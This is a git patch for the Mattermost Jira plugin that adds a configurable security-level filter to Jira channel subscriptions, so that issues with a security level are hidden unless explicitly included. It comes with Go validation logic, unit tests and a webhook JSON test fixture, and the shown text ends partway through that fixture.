* add plugin setting to toggle security level functionality

* fix tests

* add form validation for securitylevel field

* change plugin setting to bool

* change plugin setting description

* WIP

* show message about security level under JQL query

* extract if statement into function

* fix issues from ci

* fix merge issues and lint

---------

Co-authored-by: Mattermod <mattermod@users.noreply.github.com>
Co-authored-by: Mattermost Build <build@mattermost.com>
---
 Makefile                                      |   1 -
 go.mod                                        |   2 +-
 plugin.json                                   |   8 +
 server/issue.go                               |  13 +-
 server/issue_test.go                          |  23 ++
 server/plugin.go                              |   3 +
 server/subscribe.go                           | 133 +++++++--
 server/subscribe_test.go                      | 278 +++++++++++++++++-
 ...ook-issue-created-with-security-level.json | 238 +++++++++++++++
 server/user.go                                |   7 +-
 ...channel_subscription_filters.test.tsx.snap |   1 +
 .../edit_channel_subscription.test.tsx.snap   |  12 +-
 .../channel_subscription_filter.test.tsx      |  58 ++++
 .../channel_subscription_filter.tsx           |  33 ++-
 .../channel_subscription_filters.test.tsx     |   1 +
 .../channel_subscription_filters.tsx          |   4 +-
 .../edit_channel_subscription.test.tsx        |   9 +-
 .../edit_channel_subscription.tsx             |  20 +-
 .../modals/channel_subscriptions/index.ts     |   5 +-
 .../channel_subscriptions/shared_props.ts     |   1 +
 webapp/src/utils/jira_issue_metadata.tsx      |  22 +-
 webapp/src/utils/styles.ts                    |   1 +
 22 files changed, 828 insertions(+), 45 deletions(-)
 create mode 100644 server/testdata/webhook-issue-created-with-security-level.json

diff --git a/Makefile b/Makefile
index 28f56104f..db6e28a81 100644
--- a/Makefile
+++ b/Makefile
@@ -81,7 +81,6 @@ endif
 ## Ensures NPM dependencies are installed without having to run this all the time.
 webapp/.npminstall:
 ifneq ($(HAS_WEBAPP),)
-	git config --global url."ssh://git@".insteadOf git://
 	cd webapp && $(NPM) install
 	touch $@
 endif
diff --git a/go.mod b/go.mod
index 53804cab2..071761ca3 100644
--- a/go.mod
+++ b/go.mod
@@ -17,6 +17,7 @@ require (
 	github.com/rbriski/atlassian-jwt v0.0.0-20180307182949-7bb4ae273058
 	github.com/rudderlabs/analytics-go v3.3.2+incompatible
 	github.com/stretchr/testify v1.8.0
+	github.com/trivago/tgo v1.0.1
 	golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8
 	golang.org/x/text v0.3.7
 )
@@ -75,7 +76,6 @@ require (
 	github.com/tidwall/match v1.1.1 // indirect
 	github.com/tidwall/pretty v1.2.0 // indirect
 	github.com/tinylib/msgp v1.1.6 // indirect
-	github.com/trivago/tgo v1.0.1 // indirect
 	github.com/ulikunitz/xz v0.5.10 // indirect
 	github.com/vmihailenco/msgpack/v5 v5.3.5 // indirect
 	github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
diff --git a/plugin.json b/plugin.json
index d1c89eef3..af56e9776 100644
--- a/plugin.json
+++ b/plugin.json
@@ -76,6 +76,14 @@
                 "placeholder": "",
                 "default": ""
             },
+            {
+                "key": "SecurityLevelEmptyForJiraSubscriptions",
+                "display_name": "Default Subscription Security Level to Empty:",
+                "type": "bool",
+                "help_text": "Subscriptions will only include issues that have a security level assigned if the appropriate security level has been included as a filter",
+                "placeholder": "",
+                "default": true
+            },
             {
                 "key": "JiraAdminAdditionalHelpText",
                 "display_name": "Additional Help Text to be shown with Jira Help:",
diff --git a/server/issue.go b/server/issue.go
index d5854a8d9..81d0713e2 100644
--- a/server/issue.go
+++ b/server/issue.go
@@ -22,12 +22,13 @@ import (
 )
 
 const (
-	labelsField      = "labels"
-	statusField      = "status"
-	reporterField    = "reporter"
-	priorityField    = "priority"
-	descriptionField = "description"
-	resolutionField  = "resolution"
+	labelsField        = "labels"
+	statusField        = "status"
+	reporterField      = "reporter"
+	priorityField      = "priority"
+	descriptionField   = "description"
+	resolutionField    = "resolution"
+	securityLevelField = "security"
 )
 
 func makePost(userID, channelID, message string) *model.Post {
diff --git a/server/issue_test.go b/server/issue_test.go
index c82dbf7a3..09d3fea17 100644
--- a/server/issue_test.go
+++ b/server/issue_test.go
@@ -16,6 +16,7 @@ import (
 	"github.com/mattermost/mattermost-server/v6/plugin/plugintest/mock"
 	"github.com/pkg/errors"
 	"github.com/stretchr/testify/assert"
+	"github.com/trivago/tgo/tcontainer"
 
 	"github.com/mattermost/mattermost-plugin-jira/server/utils/kvstore"
 )
@@ -85,6 +86,28 @@ func (client testClient) AddComment(issueKey string, comment *jira.Comment) (*ji
 	return nil, nil
 }
 
+func (client testClient) GetCreateMetaInfo(api plugin.API, options *jira.GetQueryOptions) (*jira.CreateMetaInfo, error) {
+	return &jira.CreateMetaInfo{
+		Projects: []*jira.MetaProject{
+			{
+				IssueTypes: []*jira.MetaIssueType{
+					{
+						Fields: tcontainer.MarshalMap{
+							"security": tcontainer.MarshalMap{
+								"allowedValues": []interface{}{
+									tcontainer.MarshalMap{
+										"id": "10001",
+									},
+								},
+							},
+						},
+					},
+				},
+			},
+		},
+	}, nil
+}
+
 func TestTransitionJiraIssue(t *testing.T) {
 	api := &plugintest.API{}
 	api.On("SendEphemeralPost", mock.AnythingOfType("string"), mock.AnythingOfType("*model.Post")).Return(&model.Post{})
diff --git a/server/plugin.go b/server/plugin.go
index 7b5c6d776..74ea64f1a 100644
--- a/server/plugin.go
+++ b/server/plugin.go
@@ -70,6 +70,9 @@ type externalConfig struct {
 	// Additional Help Text to be shown in the output of '/jira help' command
 	JiraAdminAdditionalHelpText string
 
+	// When enabled, a subscription without security level rules will filter out an issue that has a security level assigned
+	SecurityLevelEmptyForJiraSubscriptions bool
+
 	// Hide issue descriptions and comments in Webhook and Subscription messages
 	HideDecriptionComment bool
 
diff --git a/server/subscribe.go b/server/subscribe.go
index 12073746c..5e448e8d2 100644
--- a/server/subscribe.go
+++ b/server/subscribe.go
@@ -15,6 +15,8 @@ import (
 	"github.com/gorilla/mux"
 	"github.com/pkg/errors"
 
+	"github.com/trivago/tgo/tcontainer"
+
 	"github.com/mattermost/mattermost-server/v6/model"
 
 	"github.com/mattermost/mattermost-plugin-jira/server/utils"
@@ -140,37 +142,61 @@ func (p *Plugin) matchesSubsciptionFilters(wh *webhook, filters SubscriptionFilt
 		return false
 	}
 
-	if filters.IssueTypes.Len() != 0 && !filters.IssueTypes.ContainsAny(wh.JiraWebhook.Issue.Fields.Type.ID) {
+	issue := &wh.JiraWebhook.Issue
+
+	if filters.IssueTypes.Len() != 0 && !filters.IssueTypes.ContainsAny(issue.Fields.Type.ID) {
 		return false
 	}
 
-	if filters.Projects.Len() != 0 && !filters.Projects.ContainsAny(wh.JiraWebhook.Issue.Fields.Project.Key) {
+	if filters.Projects.Len() != 0 && !filters.Projects.ContainsAny(issue.Fields.Project.Key) {
 		return false
 	}
 
-	validFilter := true
-
+	containsSecurityLevelFilter := false
+	useEmptySecurityLevel := p.getConfig().SecurityLevelEmptyForJiraSubscriptions
 	for _, field := range filters.Fields {
+		inclusion := field.Inclusion
+
 		// Broken filter, values must be provided
-		if field.Inclusion == "" || (field.Values.Len() == 0 && field.Inclusion != FilterEmpty) {
-			validFilter = false
-			break
+		if inclusion == "" || (field.Values.Len() == 0 && inclusion != FilterEmpty) {
+			return false
+		}
+
+		if field.Key == securityLevelField {
+			containsSecurityLevelFilter = true
+			if inclusion == FilterExcludeAny && useEmptySecurityLevel {
+				inclusion = FilterEmpty
+			}
 		}
 
-		value := getIssueFieldValue(&wh.JiraWebhook.Issue, field.Key)
-		containsAny := value.ContainsAny(field.Values.Elems()...)
-		containsAll := value.ContainsAll(field.Values.Elems()...)
+		value := getIssueFieldValue(issue, field.Key)
+		if !isValidFieldInclusion(field, value, inclusion) {
+			return false
+		}
+	}
 
-		if (field.Inclusion == FilterIncludeAny && !containsAny) ||
-			(field.Inclusion == FilterIncludeAll && !containsAll) ||
-			(field.Inclusion == FilterExcludeAny && containsAny) ||
-			(field.Inclusion == FilterEmpty && value.Len() > 0) {
-			validFilter = false
-			break
+	if !containsSecurityLevelFilter && useEmptySecurityLevel {
+		securityLevel := getIssueFieldValue(issue, securityLevelField)
+		if securityLevel.Len() > 0 {
+			return false
 		}
 	}
 
-	return validFilter
+	return true
+}
+
+func isValidFieldInclusion(field FieldFilter, value StringSet, inclusion string) bool {
+	containsAny := value.ContainsAny(field.Values.Elems()...)
+	containsAll := value.ContainsAll(field.Values.Elems()...)
+
+	if (inclusion == FilterIncludeAny && !containsAny) ||
+		(inclusion == FilterIncludeAll && !containsAll) ||
+		(inclusion == FilterExcludeAny && containsAny) ||
+		(inclusion == FilterEmpty && value.Len() > 0) {
+		return false
+	}
+
+	return true
 }
 
 func (p *Plugin) getChannelsSubscribed(wh *webhook, instanceID types.ID) ([]ChannelSubscription, error) {
@@ -298,6 +324,37 @@ func (p *Plugin) validateSubscription(instanceID types.ID, subscription *Channel
 		return errors.New("please provide a project identifier")
 	}
 
+	projectKey := subscription.Filters.Projects.Elems()[0]
+
+	var securityLevels StringSet
+	useEmptySecurityLevel := p.getConfig().SecurityLevelEmptyForJiraSubscriptions
+	for _, field := range subscription.Filters.Fields {
+		if field.Key != securityLevelField {
+			continue
+		}
+
+		if field.Inclusion == FilterEmpty {
+			continue
+		}
+
+		if field.Inclusion == FilterExcludeAny && useEmptySecurityLevel {
+			return errors.New("security level does not allow for an \"Exclude\" clause")
+		}
+
+		if securityLevels == nil {
+			securityLevelsArray, err := p.getSecurityLevelsForProject(client, projectKey)
+			if err != nil {
+				return errors.Wrap(err, "failed to get security levels for project")
+			}
+
+			securityLevels = NewStringSet(securityLevelsArray...)
+		}
+
+		if !securityLevels.ContainsAll(field.Values.Elems()...) {
+			return errors.New("invalid access to security level")
+		}
+	}
+
 	channelID := subscription.ChannelID
 	subs, err := p.getSubscriptionsForChannel(instanceID, channelID)
 	if err != nil {
@@ -310,7 +367,6 @@ func (p *Plugin) validateSubscription(instanceID types.ID, subscription *Channel
 		}
 	}
 
-	projectKey := subscription.Filters.Projects.Elems()[0]
 	_, err = client.GetProject(projectKey)
 	if err != nil {
 		return errors.WithMessagef(err, "failed to get project %q", projectKey)
@@ -319,6 +375,47 @@ func (p *Plugin) validateSubscription(instanceID types.ID, subscription *Channel
 	return nil
 }
 
+func (p *Plugin) getSecurityLevelsForProject(client Client, projectKey string) ([]string, error) {
+	createMeta, err := client.GetCreateMetaInfo(p.API, &jira.GetQueryOptions{
+		Expand:      "projects.issuetypes.fields",
+		ProjectKeys: projectKey,
+	})
+	if err != nil {
+		return nil, errors.Wrap(err, "error fetching user security levels")
+	}
+
+	if len(createMeta.Projects) == 0 || len(createMeta.Projects[0].IssueTypes) == 0 {
+		return nil, errors.Wrapf(err, "no project found for project key %s", projectKey)
+	}
+
+	securityLevels1, err := createMeta.Projects[0].IssueTypes[0].Fields.MarshalMap(securityLevelField)
+	if err != nil {
+		return nil, errors.Wrap(err, "error parsing user security levels")
+	}
+
+	allowed, ok := securityLevels1["allowedValues"].([]interface{})
+	if !ok {
+		return nil, errors.New("error parsing user security levels: failed to type assertion on array")
+	}
+
+	out := []string{}
+	for _, level := range allowed {
+		value, ok := level.(tcontainer.MarshalMap)
+		if !ok {
+			return nil, errors.New("error parsing user security levels: failed to type assertion on map")
+		}
+
+		id, ok := value["id"].(string)
+		if !ok {
+			return nil, errors.New("error parsing user security levels: failed to type assertion on string")
+		}
+
+		out = append(out, id)
+	}
+
+	return out, nil
+}
+
 func (p *Plugin) editChannelSubscription(instanceID types.ID, modifiedSubscription *ChannelSubscription, client Client) error {
 	subKey := keyWithInstanceID(instanceID, JiraSubscriptionsKey)
 	return p.client.KV.SetAtomicWithRetries(subKey, func(initialBytes []byte) (interface{}, error) {
diff --git a/server/subscribe_test.go b/server/subscribe_test.go
index b60b11d08..393c07dc8 100644
--- a/server/subscribe_test.go
+++ b/server/subscribe_test.go
@@ -20,6 +20,199 @@ import (
 	"github.com/stretchr/testify/assert"
 )
 
+func TestValidateSubscription(t *testing.T) {
+	p := &Plugin{}
+
+	p.instanceStore = p.getMockInstanceStoreKV(0)
+
+	api := &plugintest.API{}
+	p.SetAPI(api)
+
+	for name, tc := range map[string]struct {
+		subscription          *ChannelSubscription
+		errorMessage          string
+		disableSecurityConfig bool
+	}{
+		"no event selected": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet(),
+					Projects:   NewStringSet("project"),
+					IssueTypes: NewStringSet("10001"),
+				},
+			},
+			errorMessage: "please provide at least one event type",
+		},
+		"no project selected": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet(),
+					IssueTypes: NewStringSet("10001"),
+				},
+			},
+			errorMessage: "please provide a project identifier",
+		},
+		"no issue type selected": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet("project"),
+					IssueTypes: NewStringSet(),
+				},
+			},
+			errorMessage: "please provide at least one issue type",
+		},
+		"valid subscription": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet("project"),
+					IssueTypes: NewStringSet("10001"),
+				},
+			},
+			errorMessage: "",
+		},
+		"valid subscription with security level": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet("TEST"),
+					IssueTypes: NewStringSet("10001"),
+					Fields: []FieldFilter{
+						{
+							Key:       "security",
+							Inclusion: FilterIncludeAll,
+							Values:    NewStringSet("10001"),
+						},
+					},
+				},
+			},
+			errorMessage: "",
+		},
+		"invalid 'Exclude' of security level": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet("TEST"),
+					IssueTypes: NewStringSet("10001"),
+					Fields: []FieldFilter{
+						{
+							Key:       "security",
+							Inclusion: FilterExcludeAny,
+							Values:    NewStringSet("10001"),
+						},
+					},
+				},
+			},
+			errorMessage: "security level does not allow for an \"Exclude\" clause",
+		},
+		"security config disabled, valid 'Exclude' of security level": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet("TEST"),
+					IssueTypes: NewStringSet("10001"),
+					Fields: []FieldFilter{
+						{
+							Key:       "security",
+							Inclusion: FilterExcludeAny,
+							Values:    NewStringSet("10001"),
+						},
+					},
+				},
+			},
+			disableSecurityConfig: true,
+			errorMessage:          "",
+		},
+		"invalid access to security level": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet("TEST"),
+					IssueTypes: NewStringSet("10001"),
+					Fields: []FieldFilter{
+						{
+							Key:       "security",
+							Inclusion: FilterIncludeAll,
+							Values:    NewStringSet("10002"),
+						},
+					},
+				},
+			},
+			errorMessage: "invalid access to security level",
+		},
+		"user does not have read access to the project": {
+			subscription: &ChannelSubscription{
+				ID:         "id",
+				Name:       "name",
+				ChannelID:  "channelid",
+				InstanceID: "instance_id",
+				Filters: SubscriptionFilters{
+					Events:     NewStringSet("issue_created"),
+					Projects:   NewStringSet(nonExistantProjectKey),
+					IssueTypes: NewStringSet("10001"),
+				},
+			},
+			errorMessage: "failed to get project \"FP\": Project FP not found",
+		},
+	} {
+		t.Run(name, func(t *testing.T) {
+			api := &plugintest.API{}
+			p.SetAPI(api)
+			p.client = pluginapi.NewClient(p.API, p.Driver)
+
+			api.On("KVGet", testSubKey).Return(nil, nil)
+
+			p.updateConfig(func(conf *config) {
+				conf.SecurityLevelEmptyForJiraSubscriptions = !tc.disableSecurityConfig
+			})
+
+			client := testClient{}
+			err := p.validateSubscription(testInstance1.InstanceID, tc.subscription, client)
+
+			if tc.errorMessage == "" {
+				require.NoError(t, err)
+			} else {
+				require.Error(t, err)
+				require.Equal(t, tc.errorMessage, err.Error())
+			}
+		})
+	}
+}
+
 func TestListChannelSubscriptions(t *testing.T) {
 	p := &Plugin{}
 	p.updateConfig(func(conf *config) {
@@ -278,9 +471,10 @@ func TestGetChannelsSubscribed(t *testing.T) {
 	p.instanceStore = p.getMockInstanceStoreKV(0)
 
 	for name, tc := range map[string]struct {
-		WebhookTestData      string
-		Subs                 *Subscriptions
-		ChannelSubscriptions []ChannelSubscription
+		WebhookTestData       string
+		Subs                  *Subscriptions
+		ChannelSubscriptions  []ChannelSubscription
+		disableSecurityConfig bool
 	}{
 		"no filters selected": {
 			WebhookTestData: "webhook-issue-created.json",
@@ -1360,12 +1554,90 @@ func TestGetChannelsSubscribed(t *testing.T) {
 			}),
 			ChannelSubscriptions: []ChannelSubscription{{ChannelID: "sampleChannelId"}},
 		},
+		"no security level provided in subscription, but security level is present in issue": {
+			WebhookTestData: "webhook-issue-created-with-security-level.json",
+			Subs: withExistingChannelSubscriptions([]ChannelSubscription{
+				{
+					ID:        "rg86cd65efdjdjezgisgxaitzh",
+					ChannelID: "sampleChannelId",
+					Filters: SubscriptionFilters{
+						Events:     NewStringSet("event_created"),
+						Projects:   NewStringSet("TES"),
+						IssueTypes: NewStringSet("10001"),
+						Fields:     []FieldFilter{},
+					},
+				},
+			}),
+			ChannelSubscriptions: []ChannelSubscription{},
+		},
+		"security config disabled, no security level provided in subscription, but security level is present in issue": {
+			WebhookTestData: "webhook-issue-created-with-security-level.json",
+			Subs: withExistingChannelSubscriptions([]ChannelSubscription{
+				{
+					ID:        "rg86cd65efdjdjezgisgxaitzh",
+					ChannelID: "sampleChannelId",
+					Filters: SubscriptionFilters{
+						Events:     NewStringSet("event_created"),
+						Projects:   NewStringSet("TES"),
+						IssueTypes: NewStringSet("10001"),
+						Fields:     []FieldFilter{},
+					},
+				},
+			}),
+			ChannelSubscriptions:  []ChannelSubscription{{ChannelID: "sampleChannelId"}},
+			disableSecurityConfig: true,
+		},
+		"security level provided in subscription, but different security level is present in issue": {
+			WebhookTestData: "webhook-issue-created-with-security-level.json",
+			Subs: withExistingChannelSubscriptions([]ChannelSubscription{
+				{
+					ID:        "rg86cd65efdjdjezgisgxaitzh",
+					ChannelID: "sampleChannelId",
+					Filters: SubscriptionFilters{
+						Events:     NewStringSet("event_created"),
+						Projects:   NewStringSet("TES"),
+						IssueTypes: NewStringSet("10001"),
+						Fields: []FieldFilter{
+							{
+								Key:       "security",
+								Inclusion: FilterIncludeAll,
+								Values:    NewStringSet("10002"),
+							},
+						},
+					},
+				},
+			}),
+			ChannelSubscriptions: []ChannelSubscription{},
+		},
+		"security level provided in subscription, and same security level is present in issue": {
+			WebhookTestData: "webhook-issue-created-with-security-level.json",
+			Subs: withExistingChannelSubscriptions([]ChannelSubscription{
+				{
+					ID:        "rg86cd65efdjdjezgisgxaitzh",
+					ChannelID: "sampleChannelId",
+					Filters: SubscriptionFilters{
+						Events:     NewStringSet("event_created"),
+						Projects:   NewStringSet("TES"),
+						IssueTypes: NewStringSet("10001"),
+						Fields: []FieldFilter{
+							{
+								Key:       "security",
+								Inclusion: FilterIncludeAll,
+								Values:    NewStringSet("10001"),
+							},
+						},
+					},
+				},
+			}),
+			ChannelSubscriptions: []ChannelSubscription{{ChannelID: "sampleChannelId"}},
+		},
 	} {
 		t.Run(name, func(t *testing.T) {
 			api := &plugintest.API{}
 
 			p.updateConfig(func(conf *config) {
 				conf.Secret = someSecret
+				conf.SecurityLevelEmptyForJiraSubscriptions = !tc.disableSecurityConfig
 			})
 			p.SetAPI(api)
 
diff --git a/server/testdata/webhook-issue-created-with-security-level.json b/server/testdata/webhook-issue-created-with-security-level.json
new file mode 100644
index 000000000..d01f91231
--- /dev/null
+++ b/server/testdata/webhook-issue-created-with-security-level.json
@@ -0,0 +1,238 @@
+{
+  "timestamp": 1550286113023,
+  "webhookEvent": "jira:issue_created",
+  "issue_event_type_name": "issue_created",
+  "user": {
+    "self": "https://some-instance-test.atlassian.net/rest/api/2/user?accountId=5c5f880629be9642ba529340",
+    "name": "admin",
+    "key": "admin",
+    "accountId": "5c5f880629be9642ba529340",
+    "emailAddress": "some-instance-test@gmail.com",
+    "avatarUrls": {
+      "48x48": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=48&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D48%26noRedirect%3Dtrue",
+      "24x24": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=24&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D24%26noRedirect%3Dtrue",
+      "16x16": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=16&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D16%26noRedirect%3Dtrue",
+      "32x32": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=32&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D32%26noRedirect%3Dtrue"
+    },
+    "displayName": "Test User",
+    "active": true,
+    "timeZone": "America/Los_Angeles"
+  },
+  "issue": {
+    "id": "10040",
+    "self": "https://some-instance-test.atlassian.net/rest/api/2/issue/10040",
+    "key": "TES-41",
+    "fields": {
+      "issuetype": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/issuetype/10001",
+        "id": "10001",
+        "description": "Stories track functionality or features expressed as user goals.",
+        "iconUrl": "https://some-instance-test.atlassian.net/secure/viewavatar?size=xsmall&avatarId=10315&avatarType=issuetype",
+        "name": "Story",
+        "subtask": false,
+        "avatarId": 10315
+      },
+      "timespent": null,
+      "customfield_10030": null,
+      "project": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/project/10000",
+        "id": "10000",
+        "key": "TES",
+        "name": "test1",
+        "projectTypeKey": "software",
+        "avatarUrls": {
+          "48x48": "https://some-instance-test.atlassian.net/secure/projectavatar?avatarId=10324",
+          "24x24": "https://some-instance-test.atlassian.net/secure/projectavatar?size=small&avatarId=10324",
+          "16x16": "https://some-instance-test.atlassian.net/secure/projectavatar?size=xsmall&avatarId=10324",
+          "32x32": "https://some-instance-test.atlassian.net/secure/projectavatar?size=medium&avatarId=10324"
+        }
+      },
+      "fixVersions": [],
+      "aggregatetimespent": null,
+      "resolution": null,
+      "customfield_10027": null,
+      "resolutiondate": null,
+      "workratio": -1,
+      "lastViewed": null,
+      "watches": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/issue/TES-41/watchers",
+        "watchCount": 0,
+        "isWatching": true
+      },
+      "created": "2019-02-15T19:01:52.971-0800",
+      "customfield_10020": null,
+      "customfield_10021": null,
+      "customfield_10022": "0|i00067:",
+      "priority": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/priority/2",
+        "iconUrl": "https://some-instance-test.atlassian.net/images/icons/priorities/high.svg",
+        "name": "High",
+        "id": "2"
+      },
+      "customfield_10023": null,
+      "customfield_10024": [],
+      "customfield_10025": null,
+      "customfield_10026": null,
+      "labels": [
+        "test-label"
+      ],
+      "customfield_10016": null,
+      "customfield_10017": null,
+      "customfield_10018": {
+        "hasEpicLinkFieldDependency": false,
+        "showField": false,
+        "nonEditableReason": {
+          "reason": "PLUGIN_LICENSE_ERROR",
+          "message": "Portfolio for Jira must be licensed for the Parent Link to be available."
+        }
+      },
+      "customfield_10019": null,
+      "aggregatetimeoriginalestimate": null,
+      "timeestimate": null,
+      "versions": [],
+      "issuelinks": [],
+      "assignee": null,
+      "updated": "2019-02-15T19:01:52.971-0800",
+      "status": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/status/10001",
+        "description": "",
+        "iconUrl": "https://some-instance-test.atlassian.net/",
+        "name": "To Do",
+        "id": "10001",
+        "statusCategory": {
+          "self": "https://some-instance-test.atlassian.net/rest/api/2/statuscategory/2",
+          "id": 2,
+          "key": "new",
+          "colorName": "blue-gray",
+          "name": "New"
+        }
+      },
+      "components": [
+        {
+          "self": "https://some-instance-test.atlassian.net/rest/api/2/component/10000",
+          "id": "10000",
+          "name": "COMP-1",
+          "description": "Component-1"
+        }
+      ],
+      "timeoriginalestimate": null,
+      "description": "Unit test description, not that long",
+      "customfield_10010": null,
+      "customfield_10014": null,
+      "customfield_10015": null,
+      "timetracking": {},
+      "customfield_10005": null,
+      "customfield_10006": null,
+      "security": "10001",
+      "customfield_10007": null,
+      "customfield_10008": null,
+      "attachment": [],
+      "customfield_10009": null,
+      "aggregatetimeestimate": null,
+      "summary": "Unit test summary",
+      "creator": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/user?accountId=5c5f880629be9642ba529340",
+        "name": "admin",
+        "key": "admin",
+        "accountId": "5c5f880629be9642ba529340",
+        "emailAddress": "some-instance-test@gmail.com",
+        "avatarUrls": {
+          "48x48": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=48&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D48%26noRedirect%3Dtrue",
+          "24x24": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=24&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D24%26noRedirect%3Dtrue",
+          "16x16": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=16&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D16%26noRedirect%3Dtrue",
+          "32x32": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=32&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D32%26noRedirect%3Dtrue"
+        },
+        "displayName": "Test User",
+        "active": true,
+        "timeZone": "America/Los_Angeles"
+      },
+      "subtasks": [],
+      "reporter": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/user?accountId=5c5f880629be9642ba529340",
+        "name": "admin",
+        "key": "admin",
+        "accountId": "5c5f880629be9642ba529340",
+        "emailAddress": "some-instance-test@gmail.com",
+        "avatarUrls": {
+          "48x48": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=48&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D48%26noRedirect%3Dtrue",
+          "24x24": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=24&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D24%26noRedirect%3Dtrue",
+          "16x16": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=16&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D16%26noRedirect%3Dtrue",
+          "32x32": "https://avatar-cdn.atlassian.com/d991bc281c0c0ecb0bbb2db3979ddaff?s=32&d=https%3A%2F%2Fsecure.gravatar.com%2Favatar%2Fd991bc281c0c0ecb0bbb2db3979ddaff%3Fd%3Dmm%26s%3D32%26noRedirect%3Dtrue"
+        },
+        "displayName": "Test User",
+        "active": true,
+        "timeZone": "America/Los_Angeles"
+      },
+      "customfield_10000": "{}",
+      "aggregateprogress": {
+        "progress": 0,
+        "total": 0
+      },
+      "customfield_10001": null,
+      "customfield_10002": null,
+      "customfield_10003": null,
+      "customfield_10004": null,
+      "environment": null,
+      "duedate": null,
+      "progress": {
+        "progress": 0,
+        "total": 0
+      },
+      "votes": {
+        "self": "https://some-instance-test.atlassian.net/rest/api/2/issue/TES-41/votes",
+        "votes": 0,
+        "hasVoted": false
+      }
+    }
+  },
+  "changelog": {
+    "id": "10222",
+    "items": [
+      {
+        "field": "description",
+        "fieldtype": "jira",
+        "fieldId": "description",
+        "from": null,
+        "fromString": null,
+        "to": null,
+        "toString": "Unit test description, not that long"
+      },
+      {
+        "field": "priority",
+        "fieldtype": "jira",
+        "fieldId": "priority",
+        "from": null,
+        "fromString": null,
+        "to": "2",
+        "toString": "High"
+      },
+      {
+        "field": "reporter",
+        "fieldtype": "jira",
+        "fieldId": "reporter",
+        "from": null,
+        "fromString": null,
+        "to": "admin",
+        "toString": "Test User"
+      },
+      {
+        "field": "Status",
+        "fieldtype": "jira",
+        "fieldId": "status",
+        "from": null,
+        "fromString": null,
+        "to": "10001",
